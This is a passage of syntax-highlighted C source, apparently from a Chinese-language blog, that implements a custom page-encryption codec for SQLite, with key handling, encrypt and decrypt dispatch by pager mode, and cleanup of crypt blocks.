class=\"comment\"\u003e/*密钥位数不足时补充的字符*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DB_KEY_PADDING       0x33  \u003cspan class=\"comment\"\u003e/*密钥位数不足时补充的字符*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*** 下面是编译时提示缺少的函数 ***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/** 这个函数不需要做任何处理,获取密钥的部分在下面 DeriveKey 函数里实现 **/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecGetKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3* db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDB, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e** Key, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*被sqlite 和 sqlite3_key_interop 调用, 附加密钥到数据库.*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecAttach\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDb, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/**\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e这个函数好像是 sqlite 3.3.17前不久才加的,以前版本的sqlite里没有看到这个函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e这个函数我还没有搞清楚是做什么的,它里面什么都不做直接返回,对加解密没有影响\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e**/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_activate_see\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* right )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{   \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_key\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_rekey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e下面是上面的函数的辅助处理函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从用户提供的缓冲区中得到一个加密密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 用户提供的密钥可能位数上满足不了要求,使用这个函数来完成密钥扩展\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"title function_\"\u003eDeriveKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建或更新一个页的加密算法索引.此函数会申请缓冲区.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e LPCryptBlock \u003cspan class=\"title function_\"\u003eCreateCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey, Pager *pager, LPCryptBlock pExisting)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//加密/解密函数, 被pager调用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3Codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *data, Pgno nPageNum, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nMode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//设置密码函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_key_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 修改密码函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_rekey_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁一个加密块及相关的缓冲区,密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDestroyCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(LPCryptBlock pBlock)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3pager_get_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager *pPager)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_set_codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager *pPager,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *(*xCodec)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,Pgno,\u003cspan class=\"type\"\u003eint\u003c/span\u003e),\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pCodecArg    )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//加密/解密函数, 被pager调用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3Codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *data, Pgno nPageNum, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nMode)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock = (LPCryptBlock)pArg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e dwPageSize = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 确保pager的页长度和加密块的页长度相等.如果改变,就需要调整.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (nMode != \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     PgHdr *pageHeader;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pageHeader = DATA_TO_PGHDR(data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pageHeader-\u0026gt;pPager-\u0026gt;pageSize != pBlock-\u0026gt;PageSize)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          CreateCryptBlock(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, pageHeader-\u0026gt;pPager, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(nMode)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e: \u003cspan class=\"comment\"\u003e// Undo a \u0026#34;case 7\u0026#34; journal file encryption\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//重载一个页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//载入一个页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_DeEncrypt_Func(data, dwPageSize, pBlock-\u0026gt;ReadKey, DB_KEY_LENGTH_BYTE );  \u003cspan class=\"comment\"\u003e/*调用我的解密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e6\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//加密一个主数据库文件的页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;WriteKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;Data + CRYPT_OFFSET, data, pBlock-\u0026gt;PageSize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     data = pBlock-\u0026gt;Data + CRYPT_OFFSET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_Encrypt_Func(data , dwPageSize, pBlock-\u0026gt;WriteKey, DB_KEY_LENGTH_BYTE ); \u003cspan class=\"comment\"\u003e/*调用我的加密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e: \u003cspan class=\"comment\"\u003e//加密事务文件的页\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e/*在正常环境下, 读密钥和写密钥相同. 当数据库是被重新加密的,读密钥和写密钥未必相同.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     回滚事务必要用数据库文件的原始密钥写入.因此,当一次回滚被写入,总是用数据库的读密钥,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     这是为了保证与读取原始数据的密钥相同.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e     */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;Data + CRYPT_OFFSET, data, pBlock-\u0026gt;PageSize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     data = pBlock-\u0026gt;Data + CRYPT_OFFSET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     dwPageSize = pBlock-\u0026gt;PageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     My_Encrypt_Func( data, dwPageSize, pBlock-\u0026gt;ReadKey, DB_KEY_LENGTH_BYTE ); \u003cspan class=\"comment\"\u003e/*调用我的加密函数*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁一个加密块及相关的缓冲区,密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDestroyCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(LPCryptBlock pBlock)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//销毁读密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;ReadKey){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;ReadKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//如果写密钥存在并且不等于读密钥,也销毁.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;WriteKey \u0026amp;\u0026amp; pBlock-\u0026gt;WriteKey != pBlock-\u0026gt;ReadKey){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;WriteKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pBlock-\u0026gt;Data){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqliteFree(pBlock-\u0026gt;Data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//释放加密块.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqliteFree(pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * \u003cspan class=\"title function_\"\u003esqlite3pager_get_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(Pager 